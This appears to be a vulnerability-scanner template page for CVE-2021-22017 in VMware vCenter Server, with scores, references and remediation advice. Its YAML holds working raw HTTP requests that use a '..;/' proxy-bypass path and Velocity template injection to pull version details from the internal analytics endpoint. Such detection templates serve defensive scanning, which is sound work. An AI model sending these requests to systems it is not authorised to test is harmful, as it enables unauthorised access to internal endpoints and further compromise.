vCenter Server - Improper Access Control
CVE-2021-22017
Verified
Description
Rhttproxy as used in vCenter Server contains a vulnerability due to improper implementation of URI normalization. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to bypass proxy leading to internal endpoints being accessed.
Severity
Medium
CVSS Score
5.3
Exploit Probability
75%
Affected Product
vcenter_server
Published Date
January 14, 2026
Template Author
daffainfo
CVE-2021-22017.yaml
id: CVE-2021-22017
info:
name: vCenter Server - Improper Access Control
author: daffainfo
severity: medium
description: |
Rhttproxy as used in vCenter Server contains a vulnerability due to improper implementation of URI normalization. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to bypass proxy leading to internal endpoints being accessed.
impact: |
Attackers can bypass proxy restrictions and access internal endpoints, potentially leading to information disclosure or further internal network compromise.
remediation: |
Apply the latest security patches or updates provided by VMware for vCenter Server.
reference:
- https://github.com/wangsir01/docs/blob/7c20bbf43ae467c1bdc54c65c9a3230ae3e81d63/CVE-2021-22017-22005%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90/CVE-2021-22017-22005%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90.md
- https://www.vmware.com/security/advisories/VMSA-2021-0020.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-22017
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-22017
cwe-id: NVD-CWE-noinfo
epss-score: 0.74835
epss-percentile: 0.98884
cpe: cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: vmware
product: vcenter_server
shodan-query: VMware vCenter Server
tags: cve,cve2021,vmware,vcenter,vkev,kev
flow: http(1) && http(2)
variables:
plugintype: "{{randbase(8)}}"
http:
- raw:
- |
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: {{plugintype}}
{"manifestSpec": {"resourceId": "b1", "dataType": "b2", "objectId": "b3", "versionDataType": "b4", "versionObjectId": "b5"}, "objectType": "a1", "collectionTriggerDataNeeded": true, "deploymentDataNeeded": true, "resultNeeded": true, "signalCollectionCompleted": true, "localManifestPath": "a2", "localPayloadPath": "a3", "localObfuscationMapPath": "a4"}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 201'
- 'len(body) == 0'
condition: and
internal: true
- raw:
- |
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: {{plugintype}}
{"manifestContent": "<manifest recommendedPageSize=\"500\">\n <request>\n <query name=\"vir:VCenter\">\n <constraint>\n <targetType>ServiceInstance</targetType>\n </constraint>\n <propertySpec>\n <propertyNames>content.about.instanceUuid</propertyNames>\n <propertyNames>content.about.osType</propertyNames>\n <propertyNames>content.about.build</propertyNames>\n <propertyNames>content.about.version</propertyNames>\n </propertySpec>\n </query>\n </request>\n <cdfMapping>\n <indepedentResultsMapping>\n <resultSetMappings>\n <entry>\n <key>vir:VCenter</key>\n <value>\n <value xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"resultSetMapping\">\n <resourceItemToJsonLdMapping>\n <forType>ServiceInstance</forType>\n <mappingCode><![CDATA[\n #set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())\n #set($objectId = \"vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid\")\n #set($obj = $LOCAL-cdf20Result.newObject(\"vim.ServiceInstance\", $objectId))\n $obj.addProperty(\"MSG\", \"exist\")\n $obj.addProperty(\"OSTYPE\", $content-about-osType)\n $obj.addProperty(\"BUILD\", $content-about-build)\n $obj.addProperty(\"VERSION\", $content-about-version)]]>\n </mappingCode>\n </resourceItemToJsonLdMapping>\n </value>\n </value>\n </entry>\n </resultSetMappings>\n </indepedentResultsMapping>\n </cdfMapping>\n <requestSchedules>\n <schedule interval=\"1h\">\n <queries>\n <query>vir:VCenter</query>\n </queries>\n </schedule>\n </requestSchedules>\n</manifest>", "contextData": "a2", "objectId": "a3"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'BUILD'
- 'VERSION'
- 'OSTYPE'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100dcd26a4e3d2ed6f6b7bd353a58091e00d5893cb48f233ead1bf2e30a102e33f402204df09e4cadb2ae33e3e11e6bb6b44594466c4292e2b795a6df8dd9ba3e650b72:922c64590222798bb761d5b6d8e729505.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVE ID:
cve-2021-22017
CWE ID:
nvd-cwe-noinfo
References
https://github.com/wangsir01/docs/blob/7c20bbf43ae467c1bdc54c65c9a3230ae3e81d63/CVE-2021-22017-22005%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90/CVE-2021-22017-22005%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90.mdhttps://www.vmware.com/security/advisories/VMSA-2021-0020.htmlhttps://nvd.nist.gov/vuln/detail/CVE-2021-22017
Remediation Steps
Apply the latest security patches or updates provided by VMware for vCenter Server.